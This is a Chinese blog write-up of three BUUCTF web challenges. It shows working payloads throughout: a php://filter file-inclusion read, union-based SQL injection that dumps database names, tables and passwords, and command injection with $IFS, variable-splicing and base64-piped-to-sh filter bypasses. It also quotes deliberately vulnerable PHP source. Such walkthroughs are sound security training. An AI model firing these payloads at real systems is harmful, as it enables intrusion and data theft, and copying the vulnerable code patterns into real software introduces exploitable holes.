Pysnow
Pysnow

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]

BUUCTF

    • [极客大挑战 2019]Secret File
    • [极客大挑战 2019]LoveSQL
    • [GXYCTF2019]Ping Ping Ping

[极客大挑战 2019]Secret File

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第1张图片

你想知道密码吗，我不想知道，所以我打开了f12

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第2张图片

发现有个事件，而这个事件后面就紧接着一串英文"oh you found me"，那就没问题了，直接打开它，发现我们被跳转到了另外一个页面Archive_room.php

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第3张图片

这个界面有个按钮secret，点进去他说里面没有东西，叫我回去仔细再看一下，而这里我观看Archive_room.php这个页面的源码的时候明显是点击secret按钮后跳转到action.php页面去的，但是他却直接跳转到了end.php，这说明在action.php页面存在代码将我们自动跳转到end.php，而且是时间很短的那种

所以为了在action.php这个页面停留，我采取了使用burp抓包的方式，将页面停留在action.php

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第4张图片

抓包访问action.php页面他提示我们secr3t.php，那接下来就继续访问secr3t.php这个页面

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第5张图片[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C9tXLP88-1639245874151)(C:/Users/86185/AppData/Roaming/Typora/typora-user-images/image-20211212004237722.png)]

然后他说flag放在了flag.php里面，那继续访问flag.php

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第6张图片

说明这是最后一个页面了，剩下的就是利用某种方法来找到藏在这个页面的flag

首先我们要知道一个知识，就是php文件中可以写前端代码比如说HTML，这种一般是显示出来的，也有些php后端代码，而这个php代码默认是不会显示的，除非你用某种函数，而他提示说flag就在这个页面说明，flag就藏在php代码里面

现在来审计secr3t.php的代码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

这里存在一个文件包含include函数，而其中的参数file变量是我们认为可以控制的，这里禁用掉了切换目录的../，tp字符，input伪协议，以及data伪协议,然后我们又要知道flag.php的完整源代码，就想到了php://filter伪协议进行当前目录下任意文件读取

所以构造出的payload如下

~secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第7张图片

进行base64解码然后发现了flag

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第8张图片

[极客大挑战 2019]LoveSQL

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第9张图片

flag放在那个地方？先寻找注入点把

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第10张图片

很显然可以注入，还是加上#号后正常回显，然后尝试使用order by爆出列名

1'order by 4%23 //回显Unknown column '4' in 'order clause'
1‘order by 3 %23   //回显正常
说明当前查询的表为三列

接下来使用union select看是否有回显点

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第11张图片

有回显点，直接进行联合注入就行了

因为最开始他说他把flag放在了那个地方，所以我觉得很有必要将所有数据库的名字都注入一遍，防止flag不在当前数据库的情况
当前数据库名：
-1'union select 1,2,database()%23   //查出当前数据库为'geek'


所有数据库名：
-1'union select 1,2,group_concat(schema_name) from information_schema.schemata %23                           //查出information_schema,mysql,performance_schema,test,geek，很显然还是我多虑了
    
    
geek数据库中的所有表：
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23 
//查出表为geekuser,l0ve1ysq1，以我的经验，flag必定在l0ve1ysq1里面


l0ve1ysq1表中所有字段：
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23  //结果为id,username,password，那应该不是在password里面就是在另外一张表里面了
    
    
password列中的所有值：
-1'union select 1,2,group_concat(password) from geek.l0ve1ysq1%23    
//结果wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{95322f13-6777-421d-a631-6505096ba78c}
这不是有了吗

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第12张图片

[GXYCTF2019]Ping Ping Ping

一听题目感觉就跟ping相关，或者是rce

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第13张图片

果然如此，他给出了个提示/?ip=，这很明显就是一个get传参，我们要上传一个ip的参数通过get的方式

然后构造payload

1;ls

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第14张图片

返现网站根目录有flag.php,然后我访问它发现这个页面没有任何回显，那毫无疑问这个flag就藏在这个flag.php里面

1;cat flag.php

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第15张图片

不能使用空格？然后我试着用%09(TAB键的URL编码)

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第16张图片

fxck my symbol？看来数字也不能使用了，一般绕过空格的方法又一下

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS、{cat,flag}等

其中$IFS不含数字，所以构造payload如下

1;cat$IFSflag

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第17张图片

结果他又绕过了flag，然后我尝试了各种单引号，问号通配符都被过滤掉了，所以我就换一条思路，查看index.php的源码，看是否有什么

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第18张图片

/?ip=
PING 1 (0.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }

有了这串源码那就好办了,直接把正则匹配表达式放在网站上一解析

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第19张图片

所以直接通过变量拼接的方式进行构造flag.php这一关键字,所以构造出的payload如下

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第20张图片

  • 当然也可以使用base64绕过，虽然bash被过滤掉了，但是linux还有sh可以用
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第21张图片

  • 还有一种，我个人感觉是最简单的一种

    1;cat$IFS$9`ls`

    BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第22张图片

你可能感兴趣的:(WP,php,安全,开发语言)

  • Web安全之SQL注入：如何预防及解决 J老熊 JavaWeb安全web安全sql数据库系统架构面试
    SQL注入（SQLInjection）是最常见的Web应用漏洞之一，它允许攻击者通过注入恶意SQL代码来操作数据库，获取、修改或删除数据。作为Java开发者，理解并防止SQL注入攻击是至关重要的。在本篇文章中，我们将详细介绍SQL注入的原理，演示如何在电商交易系统中出现SQL注入漏洞，并提供正确的防范措施和解决方案。1.什么是SQL注入？SQL注入是一种通过在用户输入中嵌入恶意SQL代码的攻击方式
  • 干货 ‖ 三分钟让你区分“等级保护、风险评估和安全测评” 等保星视界
    接触安全行业的大家大概会经常遇到这几个关键词，“等级保护”、“风险评估”、“系统安全评测”，这都是当前国家信息安全保障建设体系中的热门话题。但是肯定有很多小伙伴还是对他们之间的区别和联系不是那么明确，今天小编就来帮大家缕一缕。一、三者的概念介绍A、等级保护概念介绍：等级保护全名信息安全等级保护，是指对国家各类信息系统分等级进行安全保护，对信息系统中的安全产品进行等级管理，对信息系统中的信息安全事件
  • 2023-09-04 温小和
    太激烈了，枪战发生在现实中了。居然不是电影，实在是太魔幻了。当地时间9月1号，南非警察击毙18名运钞车劫匪。南非林波波省马卡多，一群劫匪试图抢劫运钞车。并与警方发生枪战。经过90分钟的激烈枪战，警方击毙18名劫匪，其中16名男性，两名女性。另有4名嫌疑人在另一地点被捕。太感谢我们国家了，在安全这方面，做得还是不错的。生在华夏，是一种骄傲。以前就听说过有一些国家，有一些公民是可以申请枪支的。这对普通
  • 国产奶粉哪些品牌安全质量好？ 氧惠_飞智666999
    在选择奶粉时，确保安全和优质质量对于每个家长来说都是至关重要的。在国内市场上，有几个牌子因为其安全性和质量而受到了广大消费者的认可。本文将为您介绍几个安全质量较好的国产奶粉品牌。氧惠：作为淘宝天猫优惠券搬运工，氧惠支持全网商品搜索，是一个强大的社交购物APP，可以领券省钱还能赚钱。氧惠APP佣金更高，模式更好，终端用户不会流失。作为国内首家和京东官方对接的综合返利导购平台，返利比例可达到99%。氧
  • 在飞机上的作业 凤来生
    现在的我在上海飞深圳的飞机上赶作业，4月初的时候来上海，完全没有想过这么快离开，一切都决定的太突然，仿佛来上海的时候，那种说走就走的决心，原以为在上海一切都不习惯，风大，物价高，干燥等等，让一个已经在南方呆了30年的宝宝习惯不了，走的那一刻才发现，上海真的是一个让人留恋的城市，感受最深的是安全感！图片发自App我在广东经历过飞车党，斧头帮，甚至于你走在路上，你得防备每个靠近你的路人。离开上海前，拉
  • 探索Plaid Quickstart：一站式金融数据集成解决方案 杭臣磊Sibley
    探索PlaidQuickstart：一站式金融数据集成解决方案在金融科技领域，快速而安全地获取和处理银行数据至关重要。PlaidQuickstart是一个完美的起点，它是一个开源项目，旨在帮助开发者轻松集成Plaid的API服务，提供多语言支持，以实现与金融机构的数据交互。让我们深入了解这个项目，看看它是如何简化开发流程的。项目介绍PlaidQuickstart提供了一个全面的示例应用程序，涵盖了
  • MySQL 进阶知识 A_cot mysql数据库前端bigdatadatabase
    当你掌握了基本的SQL语句和数据库操作后，进一步深入了解MySQL的进阶内容，将为你打开更广阔的数据管理和应用之门。一、存储过程与函数1.存储过程存储过程是一组为了完成特定功能的SQL语句集，经编译后存储在数据库中。存储过程可以接收参数、返回结果，并且可以被重复调用。优点：提高性能：存储过程在数据库服务器上执行，减少了网络传输和客户端处理的开销。增强安全性：可以限制对数据库的直接访问，通过存储过程
  • 儿童手表十大品牌排行榜，电话手表什么牌子的好？ 高省张导师
    电话手表一般是指儿童电话手表。由于中小学校一般不允许学生带智能手机上学，而智能手机也确实会影响到学生上课的专注度，使用儿童电话手表既方便又安全，还不会干扰学生学习，非常好用。买电话手表上高省领隐藏优惠券，优惠券真的大，佣金真的高，我们真的省！大家好，我是高省APP最大团队，高省APP，是2021年推出的平台，0投资，0风险、高省APP佣金更高，模式更好，终端用户不流失。【高省】是一个可省钱佣金高，
  • 明天与意外 ZLL_45f5
    近几天各大媒体都在关注重庆公交车坠江事件，万万没想到竟是乘客和司机的争吵导致了这场灾难，那车上的13人因此离世是何其无辜。新闻说这名女乘客和司机的行为危害了社会公共安全，触犯了刑法，涉嫌犯罪……那么多人都因此离世了，给多个家庭带来了无法言语的伤痛，教训不可谓不惨痛！有时候我在想为什么会出现这样的人祸，活在这个世界已经很艰难了，为什么不能忍忍，让让？显然我是局外人，局中人能有这个觉悟的时候估计都为时
  • 关于电脑卡死如何开机、F8、安全模式 爱蹦跶的精灵 电脑服务器运维
    问题来源和原因亲戚家台式电脑无法开机了原因：游戏、等等等东西太多占用内存，导致系统无法开机比如常见的开机蓝屏，不能正常开机，这个时候我们可以采取通过安全模式启动的办法来启动电脑，从而进一步找到问题并排查故障，以往win7或xp系统电脑开机直接按F8即可win7系统解决：按下开机键，多次点击F8，进入安全模式，删除一些桌面或拖动开机的应用win10系统但是win10这样操作已经不起作用了解决：1、按
  • Spring Boot 技术提升房屋租赁系统性能 2401_85763803 springboot后端java
    第2章技术介绍2.1相关技术房屋租赁系统是在JSP+MySQL开发环境的基础上开发的。JSP是一种服务器端脚本语言，易于学习，实用且面向用户。全球超过35％的JSP驱动的互联网站点使用JSP。MySQL是一个数据库管理系统，因为它的体积小但速度快，成本低，或者开源受到中小型网站的青睐。因此，JSP+MySQL作为一个成熟的开发环境，可以满足房屋租赁系统设计和开发所需的稳定性，安全性和可扩展性要求。
  • 女孩 小鹿_6cac
    女孩在中学需要更多的关爱！男孩被女孩碾压小学六年，反之，女孩被男孩碾压中学六年！初高中班级前十名中，女孩大概仅有2--4名，但这几名通常排名靠前，成绩优秀的女孩会特别优秀。不是女孩落后了，是男孩成熟了！男孩凭借体力、脑力和心智，可以赶超女孩了。同理，学校给予不了的，家庭要给到。父母需要理解中学女生，让孩子知道努力的过程最重要，成长的脚步最可贵！女孩需要安全感，父母要和她并肩作战！以上关于关爱男孩女
  • java.net.ConnectException: Connection refused`异常的正确解决方法，亲测有效，嘿嘿嘿 代码无疆 Java百宝箱java开发语言
    java.net.ConnectException:Connectionrefused异常通常在尝试建立网络连接时遇到，特别是当客户端试图连接到服务器时，而服务器没有在指定的端口上监听，或者服务器防火墙/安全组规则阻止了连接。以下是对这个异常的详细分析、报错原因、解决思路以及解决方法的说明。问题分析当Java应用程序尝试通过网络套接字（Socket）连接到远程服务器时，如果在目标地址和端口上没有找
  • 人间值得#TOP162-双节八天假第二天 奇怪的小西
    每日记点事昨是国庆第一天全国人流再创新高，上海外滩最高人流量达到了恐怖的6.5万人次，1600余人安保力量来保证外滩游客的人身安全。真的是对各地游客一无所知，到处是人挨着人。开始了一年一度国庆假期的人口大迁徙，在国外人们正值疫情高速的蔓延和第二波疫情的发展，我们国家却做到了，让外国人看的直是眼馋，当他们还在居家隔着时，我们却可在外游玩。自八月中旬以来我国已经基本没有本土新增新冠肺炎病例，全国人民上
  • 雪夜，易烊千玺的声线是暖烘烘的念想 风风煦煦许多年
    2020年2月5日，北京开始下雪，整个城市在疫情的攻势下格外安静，病毒像一个潜伏在周遭的敌人，人们四散各处，躲避一场不知何时的偷袭。这个冬天在接近尾声的时候给了人类近乎致命的重击，社会各界纷纷出击战疫，就连退到安全线内的伺机而观也成了面对流行病的特殊战法。这个春节异乎寻常的冷淡，习惯了登门拜访、举杯共欢的团聚习俗也不得不囿于疫情的发展而改为猫在家里自给自足。周下肃寂，能听见雪簌簌落下的声音，像爱人
  • java面试--http和https的区别 望山。 面试题httphttps
    先来观察这两张图，第一张访问域名http://www.12306.cn，谷歌浏览器提示不安全链接，第二张是https://kyfw.12306.cn/otn/regist/init，浏览器显示安全，为什么会这样子呢？2017年1月发布的Chrome56浏览器开始把收集密码或信用卡数据的HTTP页面标记为“不安全”，若用户使用2017年10月推出的Chrome62，带有输入数据的HTTP页面和所有以
  • 张艺兴与彩灯的和解是手机壳，5斤牛肉说是音响，成功骗过导演！ 哲知之
    张艺兴参加《向往的生活5》，害怕尖嘴动物的他，第一个挑战就是彩灯，时刻保持与彩灯的安全距离。彩灯看来很喜欢艺兴啊，你看他一直对你点头，想和你谈谈哲学的呢！张艺兴：大可不必……彩灯你别激动，哈哈！何老师还一直煽风点火：彩灯，赶紧去看看你艺兴哥哥！张艺兴想跑远点，这里太危险。何老师：5季我只看过它飞过2次……何老师，我怎么觉得他不止飞过2次呢？张艺兴：那它一般往哪飞？何老师：那它就是想往哪飞，往哪飞…
  • 2023-07-20 2023梦启支教团于子文
    安全无小事，保护靠大家——中国矿业大学梦启支教团开展安全教育主题班会为普及同学们的安全知识，提高日常生活里的安全防范意识和避险能力，7月19日上午，中国矿业大学梦启支教团于贵州省毕节市金沙县第九小学（金沙县彩虹小学）开展安全教育主题班会。该主题班会由梦启一班班主任吴倩、张牧泽、张奕晨三位老师讲解，梦启一班全员参加。班会伊始，吴倩老师先简单介绍本次班会的大纲，并列举出防溺水安全、道路安全、防火安全、
  • 大数据平台（数据中台、数据中枢、数据湖、数据要素）建设方案 数字化建设方案 数字化转型数据治理主数据数据仓库大数据
    大数据平台（数据中台、数据中枢、数据湖、数据要素）建设方案大数据平台（数据中台、数据中枢、数据湖、数据要素）建设方案项目背景和目标项目背景项目目标建设原则与策略数据中台架构设计整体架构设计思路数据采集层数据存储层数据计算层数据服务层数据中枢功能实现数据治理功能数据资产管理功能数据安全管控功能数据服务总线功能数据湖存储与计算方案数据湖存储架构设计数据湖计算框架选择数据湖应用场景分析数据湖安全与合规性
  • AJAX实时表单验证系统 三年九班蓝同学
    本文还有配套的精品资源，点击获取简介：在网页开发中，"ajax验证表单"是一项关键任务，确保数据符合格式和规则，提升数据质量和用户体验。本应用通过使用JavaScript和XMLHttpRequest对象实现后台验证，无需页面刷新。它包括前端验证、事件处理、Ajax调用、服务器端处理、响应处理、用户体验和安全性等关键步骤，以jQuery库简化开发流程，创建高效、安全的表单验证系统。1.表单验证的重
  • 「 网络安全常用术语解读 」同源策略SOP详解：没有SOP就没有隐私 全栈安全 安全术语web安全安全术语
    同源策略可保护用户的隐私和数据安全，防止恶意网站通过跨域请求（例如，通过JavaScript）访问或修改其他网站的数据。1.同源策略产生背景当浏览器从一个域发送一个HTTP请求到另一个域时，与另一个域相关的任何cookies，包括身份验证会话cookie，也会作为请求的一部分发送。如果没有同源策略，如果你访问一个恶意网站，该网站将能够读取你的电子邮件、私人消息等。2.同源策略定义同源策略（Same
  • 网络安全（黑客技术）—2024自学手册 一个迷人的黑客 web安全安全网络学习网络安全信息安全渗透测试
    前言什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。如何成为一名黑客很多朋友在学习安全方面都会半路转行，因为不知如何去学，在这里，我将这个整份答案分为黑客（网络安全）入门必备、黑客（网络安全）职业指南、黑客（网络安全）学习导航三大章节，涉及价值观、方法论、执行力、行业分类、职位解读、法
  • 大数据分析与安全分析 Zh&&Li 网络安全运维数据分析安全数据挖掘运维数据库
    大数据分析一、大数据安全威胁与需求分析1.1大数据相关概念发展大数据：是指非传统的数据处理工具的数据集大数据特征：海量的数据规模、快速的数据流转、多样的数据类型和价值密度低等大数据的种类和来源非常多，包括结构化、半结构化和非结构化数据有关大数据的新兴网络信息技术应用不断出现，主要包括大规模数据分析处理、数据挖掘、分布式文件系统、分布式数据库、云计算平台、互联网和存储系统1.2大数据安全威胁分析“数
  • 【漏洞挖掘】——53、 WebSocket安全概览 FLy_鹏程万里 【WEB渗透】websocket安全网络协议渗透测试信息安全网络安全web渗透
    文章前言在一次做项目的时候本来是想去点击Burpsuite的Proxy界面的HTTPHistory选项卡来查看HTTP历史请求记录信息并做测试的，但是在查看的时候却下意识的点击到了HTTPProxy右侧的"WebSocketsHistory"选项卡中，从界面的交互历史中发现网站有使用WebSocket进行通信，虽然之前有对Websocket有一些简单的了解(比如:跨越问题)，但是未对此进行深入研究
  • 解锁Apache Shiro：新手友好的安全框架指南(一)——整体架构与身份认证_apache shiro的配置包括安全管理器(2) 2401_84281748 程序员apache安全架构
    ApacheShiro是一个功能强大且易于使用的Java安全框架，它执行身份验证、授权、加密和会话管理，可用于保护任何应用程序——从命令行应用程序、移动应用程序到最大的web和企业应用程序。Shiro提供了应用程序安全API来执行以下方面：Authentication（认证）：验证用户身份，即用户登录。Authorization（授权）：访问控制Cryptography（密码学）：保护或隐藏私密数
  • 如何用3个月零基础入门网络安全？_网络安全零基础怎么学习 白帽黑客啊一 web安全学习安全网安入门flutter
    前言写这篇教程的初衷是很多朋友都想了解如何入门/转行网络安全，实现自己的“黑客梦”。文章的宗旨是：1.指出一些自学的误区2.提供客观可行的学习表3.推荐我认为适合小白学习的资源.大佬绕道哈！→点击获取网络安全资料·攻略←一、自学网络安全学习的误区和陷阱1.不要试图先成为一名程序员（以编程为基础的学习）再开始学习我在之前的回答中，我都一再强调不要以编程为基础再开始学习网络安全，一般来说，学习编程不但
  • 2024年Docker开启并配置远程安全访问_docker开启远程访问，从青铜到王者的路线 2401_84281588 程序员网络安全学习面试
    学习路线：这个方向初期比较容易入门一些，掌握一些基本技术，拿起各种现成的工具就可以开黑了。不过，要想从脚本小子变成黑客大神，这个方向越往后，需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容：网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。需要这份系统化资料的朋友，可以点击这里获取一个人可以走的很快，但一群人才能走的更远！不
  • 【网络安全 | 渗透工具】IIS 短文件名枚举工具—shortscan安装使用教程 秋说 渗透工具web安全漏洞挖掘渗透工具
    未经许可，不得转载。文章目录shortscan安装使用Shortutil工具shortscanShortScan是一种用于在MicrosoftIIS(InternetInformationServices)Web服务器上进行短文件名枚举的工具。该工具可以帮助攻击者利用IIS的文件名处理特性，通过预测性扫描枚举服务器上的文件和目录名称。背景：在早期的Windows文件系统（如FAT和NTFS）中，每
  • 2024网安周今日开幕，亚信安全亮相30城 亚信安全官方账号 信息安全亚信安全数据安全网络安全
    2024年国家网络安全宣传周今天在广州拉开帷幕。今年网安周继续以“网络安全为人民，网络安全靠人民”为主题。2024年国家网络安全宣传周涵盖了1场开幕式、1场高峰论坛、5个重要活动、15场分论坛/座谈会/闭门会、6个主题日活动和网络安全“六进”活动。亚信安全出席2024年国家网络安全宣传周开幕式和主论坛,并将通过线下宣讲、创意科普、成果展示等多种形式，让广大民众看得懂、记得住安全知识，同时还配合各地
  • SpringMVC的架构有什么优势？——视图与模型（二） 不会编程的小孩子 架构
    #SpringMVC的架构有什么优势？——视图与模型（二）前言关键字：机器学习人工智能AIchatGPT学习实现使用搭建深度python事件远程dockermysql安全技术部署技术自动化代码视图(View)视图是展示结果的组件，它们负责渲染模型数据并生成HTML输出。SpringMVC支持多种视图技术，包括JSP、Thymeleaf等。视图(View)是SpringMVC中渲染并呈现结果的组件，
  • github中多个平台共存 jackyrong github
    在个人电脑上，如何分别链接比如oschina,github等库呢，一般教程之列的，默认 ssh链接一个托管的而已，下面讲解如何放两个文件 1） 设置用户名和邮件地址 $ git config --global user.name "xx" $ git config --global user.email "[email protected]"
  • ip地址与整数的相互转换(javascript) alxw4616 JavaScript
    //IP转成整型 function ip2int(ip){ var num = 0; ip = ip.split("."); num = Number(ip[0]) * 256 * 256 * 256 + Number(ip[1]) * 256 * 256 + Number(ip[2]) * 256 + Number(ip[3]); n
  • 读书笔记-jquey+数据库+css chengxuyuancsdn htmljqueryoracle
    1、grouping ,group by rollup, GROUP BY GROUPING SETS区别 2、$("#totalTable tbody>tr td:nth-child(" + i + ")").css({"width":tdWidth, "margin":"0px", &q
  • javaSE javaEE javaME == API下载 Array_06 java
    oracle下载各种API文档： http://www.oracle.com/technetwork/java/embedded/javame/embed-me/documentation/javame-embedded-apis-2181154.html JavaSE文档： http://docs.oracle.com/javase/8/docs/api/ JavaEE文档： ht
  • shiro入门学习 cugfy javaWeb框架
    声明本文只适合初学者，本人也是刚接触而已，经过一段时间的研究小有收获，特来分享下希望和大家互相交流学习。 首先配置我们的web.xml代码如下，固定格式，记死就成 <filter>         <filter-name>shiroFilter</filter-name> &nbs
  • Array添加删除方法 357029540 js
         刚才做项目前台删除数组的固定下标值时，删除得不是很完整，所以在网上查了下，发现一个不错的方法，也提供给需要的同学。 //给数组添加删除             Array.prototype.del = function(n){
  • navigation bar 更改颜色 张亚雄 IO
    今天郁闷了一下午，就因为objective-c默认语言是英文，我写的中文全是一些乱七八糟的样子，到不是乱码，但是，前两个自字是粗体，后两个字正常体，这可郁闷死我了，问了问大牛，人家告诉我说更改一下字体就好啦，比如改成黑体，哇塞，茅塞顿开。       翻书看，发现，书上有介绍怎么更改表格中文字字体的，代码如下    
  • unicode转换成中文 adminjun unicode编码转换
      在Java程序中总会出现\u6b22\u8fce\u63d0\u4ea4\u5fae\u535a\u641c\u7d22\u4f7f\u7528\u53cd\u9988\uff0c\u8bf7\u76f4\u63a5这个的字符，这是unicode编码，使用时有时候不会自动转换成中文就需要自己转换了使用下面的方法转换一下即可。 /** * unicode 转换成 中文
  • 一站式 Java Web 框架 firefly aijuans Java Web
    Firefly是一个高性能一站式Web框架。 涵盖了web开发的主要技术栈。 包含Template engine、IOC、MVC framework、HTTP Server、Common tools、Log、Json parser等模块。 firefly-2.0_07修复了模版压缩对javascript单行注释的影响，并新增了自定义错误页面功能。 更新日志： 增加自定义系统错误页面功能
  • 设计模式——单例模式 ayaoxinchao 设计模式
    定义          Java中单例模式定义：“一个类有且仅有一个实例，并且自行实例化向整个系统提供。”   分析          从定义中可以看出单例的要点有三个：一是某个类只能有一个实例；二是必须自行创建这个实例；三是必须自行向系统提供这个实例。   &nb
  • Javascript 多浏览器兼容性问题及解决方案 BigBird2012 JavaScript
    不论是网站应用还是学习js,大家很注重ie与firefox等浏览器的兼容性问题，毕竟这两中浏览器是占了绝大多数。 一、document.formName.item(”itemName”) 问题 问题说明：IE下，可以使用 document.formName.item(”itemName”) 或 document.formName.elements ["elementName&quo
  • JUnit-4.11使用报java.lang.NoClassDefFoundError: org/hamcrest/SelfDescribing错误 bijian1013 junit4.11单元测试
            下载了最新的JUnit版本，是4.11，结果尝试使用发现总是报java.lang.NoClassDefFoundError: org/hamcrest/SelfDescribing这样的错误，上网查了一下，一般的解决方案是，换一个低一点的版本就好了。还有人说，是缺少hamcrest的包。去官网看了一下，如下发现：    
  • [Zookeeper学习笔记之二]Zookeeper部署脚本 bit1129 zookeeper
    Zookeeper伪分布式安装脚本(此脚本在一台机器上创建Zookeeper三个进程，即创建具有三个节点的Zookeeper集群。这个脚本和zookeeper的tar包放在同一个目录下，脚本中指定的名字是zookeeper的3.4.6版本，需要根据实际情况修改)：   #!/bin/bash #!!!Change the name!!! #The zookeepe
  • 【Spark八十】Spark RDD API二 bit1129 spark
    coGroup package spark.examples.rddapi import org.apache.spark.{SparkConf, SparkContext} import org.apache.spark.SparkContext._ object CoGroupTest_05 { def main(args: Array[String]) { v
  • Linux中编译apache服务器modules文件夹缺少模块(.so)的问题 ronin47 modules
    在modules目录中只有httpd.exp，那些so文件呢？ 我尝试在fedora core 3中安装apache 2. 当我解压了apache 2.0.54后使用configure工具并且加入了 --enable-so 或者 --enable-modules=so (两个我都试过了) 去make并且make install了。我希望在/apache2/modules/目录里有各种模块，
  • Java基础-克隆 BrokenDreams java基础
            Java中怎么拷贝一个对象呢？可以通过调用这个对象类型的构造器构造一个新对象，然后将要拷贝对象的属性设置到新对象里面。Java中也有另一种不通过构造器来拷贝对象的方式，这种方式称为 克隆。         Java提供了java.lang.
  • 读《研磨设计模式》-代码笔记-适配器模式-Adapter bylijinnan java设计模式
    声明： 本文只为方便我个人查阅和理解，详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ package design.pattern; /* * 适配器模式解决的主要问题是，现有的方法接口与客户要求的方法接口不一致 * 可以这样想，我们要写这样一个类（Adapter）: * 1.这个类要符合客户的要求 ---> 那显然要
  • HDR图像PS教程集锦&心得 cherishLC PS
    HDR是指高动态范围的图像，主要原理为提高图像的局部对比度。 软件有photomatix和nik hdr efex。 一、教程 叶明在知乎上的回答： http://www.zhihu.com/question/27418267/answer/37317792 大意是修完后直方图最好是等值直方图，方法是HDR软件调一遍，再结合不透明度和蒙版细调。 二、心得 1、去除阴影部分的
  • maven-3.3.3 mvn archetype 列表 crabdave ArcheType
    maven-3.3.3 mvn archetype 列表 可以参考最新的：http://repo1.maven.org/maven2/archetype-catalog.xml   [INFO] Scanning for projects... [INFO]                
  • linux shell 中文件编码查看及转换方法 daizj shell中文乱码vim文件编码
    一、查看文件编码。     在打开文件的时候输入:set fileencoding     即可显示文件编码格式。 二、文件编码转换     1、在Vim中直接进行转换文件编码,比如将一个文件转换成utf-8格式       &
  • MySQL--binlog日志恢复数据 dcj3sjt126com binlog
    恢复数据的重要命令如下 mysql> flush logs; 默认的日志是mysql-bin.000001，现在刷新了重新开启一个就多了一个mysql-bin.000002                  
  • 数据库中数据表数据迁移方法 dcj3sjt126com sql
    刚开始想想好像挺麻烦的，后来找到一种方法了，就SQL中的 INSERT 语句，不过内容是现从另外的表中查出来的，其实就是 MySQL中INSERT INTO SELECT的使用   下面看看如何使用   语法：MySQL中INSERT INTO SELECT的使用 1. 语法介绍       有三张表a、b、c，现在需要从表b
  • Java反转字符串 dyy_gusi java反转字符串
           前几天看见一篇文章，说使用Java能用几种方式反转一个字符串。首先要明白什么叫反转字符串，就是将一个字符串到过来啦，比如"倒过来念的是小狗"反转过来就是”狗小是的念来过倒“。接下来就把自己能想到的所有方式记录下来了。 1、第一个念头就是直接使用String类的反转方法，对不起，这样是不行的，因为Stri
  • UI设计中我们为什么需要设计动效 gcq511120594 UIlinux
    随着国际大品牌苹果和谷歌的引领，最近越来越多的国内公司开始关注动效设计了，越来越多的团队已经意识到动效在产品用户体验中的重要性了，更多的UI设计师们也开始投身动效设计领域。 但是说到底，我们到底为什么需要动效设计？或者说我们到底需要什么样的动效？做动效设计也有段时间了，于是尝试用一些案例，从产品本身出发来说说我所思考的动效设计。 一、加强体验舒适度 嗯，就是让用户更加爽更加爽的用
  • JBOSS服务部署端口冲突问题 HogwartsRow java应用服务器jbossserverEJB3
